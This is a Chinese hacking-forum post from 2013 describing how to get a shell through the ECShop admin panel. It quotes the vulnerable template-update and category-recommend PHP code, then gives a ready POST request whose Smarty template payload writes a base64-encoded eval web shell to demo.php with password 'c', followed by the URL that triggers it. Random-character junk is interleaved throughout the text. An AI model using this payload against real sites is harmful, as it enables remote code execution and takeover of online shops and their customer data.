找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2429|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
7 Q2 u( I/ a. D; a& J8 p7 X( j
' s7 @# P/ j+ ?而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
+ {) ]( w+ i( U6 T6 A% y9 J% m但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, u- S- _/ `  s  Z: Yadmin/template.php3 c: @; A2 p* b" [" i

  L2 `* |( [9 Y; c$ ^- {1 if ($_REQUEST['act'] == 'update_library')
4 l$ Y) V/ ~9 g# W, ~/ j  h
' H: v8 s5 Z9 |2   $ r8 R# L* ~7 h0 O" X" }
" P  a# g+ f% m5 Z7 Y' b5 U
3 {
8 W7 u* t( d( h0 j' @) @& b* z
& r$ x" S* f& r- C, S1 [' Z4     check_authz_json('library_manage'); 2 D0 h: ?2 c4 _" M* U, @; @# \

  v% X# @# _6 N+ d5   0 ^/ h  y/ R4 G. d+ @

$ {. z7 k2 t; r( C3 w2 q4 f6     $html = stripslashes(json_str_iconv($_POST['html']));
% I. O0 z5 K4 Q
, ]- `; Y# u( z0 P7   . u, U; ?9 c0 i9 u1 p- W
5 N8 `- F1 ?0 X0 |* p
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
" W( `3 a! T+ F9 n$ s( g0 ^1 P" v. C$ y
9   ! K2 k; Y" [! ?

* l3 m! O: e3 n10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 4 y- I. l* h8 l2 p- G
. F2 V4 Z3 Y, L" ^; a! L$ L5 M
11   $ ^3 x  c/ V1 V) a
, E: R# @0 ]% Q- J& I4 K8 L7 n+ W- f
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); . _5 K  z2 R! O! i
9 l) E2 }6 e6 f$ t$ r2 i# f
13   / }( h+ `! c2 C" r9 x  h9 s! V

7 U, E$ D. d& A' m# ~" e14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
% ?* J1 W2 V* o% n) m" N4 `5 q1 m* n0 O0 X  A1 a
15     { ' i7 I9 W5 ?* d  {

% p) c% B  c! d# q16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ! w; N6 }# A8 I6 s6 i7 [+ ]. y
* }4 t9 M6 u5 S! Z# t
17         make_json_result('', $_LANG['update_lib_success']); : M1 S/ s* i# W

' Z0 E1 P. F+ p) s18     } 7 }3 D/ A/ t3 @& ~: q( d
5 `; R% f$ y. i3 e
19     else % J' g" F( y/ F5 A, N. o
. c2 d0 n! `1 s1 W; o& F" I. |) ^
20     { ( B/ T7 r6 I" i# E: s( J
8 P6 U) z" {7 G; a: P
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ) w0 n: s" o, L+ s0 Y6 k
) `( r* J! X  y% r7 e6 ?
22     } 0 l1 }6 O6 _+ u. S; B1 ~

) [8 |8 ?( \4 T$ e3 H23 } % W2 O. {7 L. [" ?8 R! H) T, C
2 J4 V6 f5 f6 _' N4 B
那么找个比较方便调用了模板的文件
6 Y5 F1 j1 }0 A+ F6 u$ \index.php6 ]& A5 R* a7 p; c* x4 Z* T
$ {0 ]; t+ K! c- ^( N9 P
1 if ($act == 'cat_rec')
6 K/ ^  [3 |5 ]4 j' f8 r/ t2 O. A
' ^4 u! r0 I0 J' p2   
' u4 o0 Z4 L% ^3 M" s3 _7 g; e) |" ~8 [: q! ~: P8 Q1 s
3 { , J. E1 h! _4 a. ~4 w9 p; X% f
& ?# g: ]/ C  q" o
4   2 Y7 f0 Z" v( Y. i+ ]5 o
1 N% z6 Q; @* }
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
$ {# Y# o- h) o! m; P% c$ |+ L' m6 i7 D# z5 T" a& G
6   & D9 Q/ W( }( z% c' `

7 _" d7 \0 V5 o( `7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
0 k* ^) S! P+ c: C) N  ]
! ]9 ~4 o3 `9 O0 }) Y" r/ E2 d- T8   
  P! k7 q% \+ G# d9 Z: u& L$ b& K) a; L
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 3 C8 Y, Z) h. Y0 K- F6 c% C

( U7 b; R6 @: H+ H- q' k10   4 w0 E4 l% ?# A* F$ D; V" D+ y6 Q

, N% q  x5 `  e7 `& ^11     include_once('includes/cls_json.php'); ! G* J6 b) R3 L/ }) |8 [5 F

. t& n# i% R+ y4 H$ _12   2 r# z+ u1 }+ F* x. ~8 }
0 w5 e: r: U3 x/ [9 i# k. p
13     $json = new JSON; 9 v# J* z8 x) I. A; J9 R' p, ~
: |6 J2 l6 p; @+ n! }  m& l0 T
14   1 {: K" M+ h3 C: l1 p
1 o2 Z7 Q1 h& S4 A1 X, z9 J" N
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); $ s; j4 b7 U, Y

) h6 U7 F0 H/ N$ ~$ a16   
3 A# O$ c5 E) `( t; v# h
! `; K5 ?3 f& n17     $children = get_children($cat_id); 8 J/ _+ p( O( F8 Z. z
! C# h% V0 `1 W. U$ ]
18   ! ]  V7 J' [0 m7 _6 B1 Q) g5 R6 }

9 X% A1 \$ d! X7 O6 j19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 9 ~2 N5 T9 i" V7 i' Z
. b" ?! E3 ~  k
20   
. _- n2 e, m$ D# Q3 b
& x; c$ ^. T6 r" U( v7 t21     $smarty->assign('cat_rec_sign', 1); ; b* `: A& _3 H/ X3 U

/ o& U) K) N, P$ R, ]22   
& z. \& B1 ?6 E5 p& A# {% z, z
: I3 p/ M% {9 q9 s5 O/ w2 u23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best $ ?$ i( Y' Z) ]9 _

& Z5 w- g5 K5 u& n6 v5 _24   
% M2 Z  K9 u' A( z6 d; m+ C- @3 p2 W' _1 Z5 l2 o# X
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 1 K* Z) H: ^% X7 {8 W+ \
9 ~- Q+ q6 _! u. W
26   8 W% W# b/ ^' p. Y

" h4 @) O' s  L* |27         echo $rec_array[$rec_type];
. e5 q1 ^% V0 ~: O& t- A( A& q" a
+ e( S0 h. E# W( }# O5 W28   
, d5 q; g7 T- G* {' }" _
# p7 V' W3 G! x3 |$ I1 k29     die($json->encode($result)); ' O& k8 B. X8 c& G

; z/ j0 n# c+ o1 v" l+ w30   6 X5 }4 M% u  N
% P7 d/ z! r7 A0 ^9 k
31 }
' E1 D6 Q5 W1 {$ o( f& S2 i' Z+ M/ w# Q1 n, Y6 @# K' e
那么就有利用方法了7 X( x/ ?3 I7 V$ @' b7 Q
post包到http://localhost/ec/admin/template.php?act=update_library; o! i5 P& _; D/ g
Post内容:. z1 x& k+ ]! y5 H$ S0 s# _6 J

, M8 y; S( N! h5 N
# ~8 ]; }1 r( R# w1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ( U& Z. u5 w; \9 H& q! k

9 B+ J! z" x" h" b然后访问http://localhost/ec/index.php?act=cat_rec
5 r& v& O4 S6 f9 }  R( _6 j% e* T7 m( W( M# D
shel地址:http://localhost/ec/demo.php& U6 ?7 G8 v7 P' X2 g: U4 u+ K
密码c& s# ]3 w6 Z! A

3 r* ^! j% S- h' Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表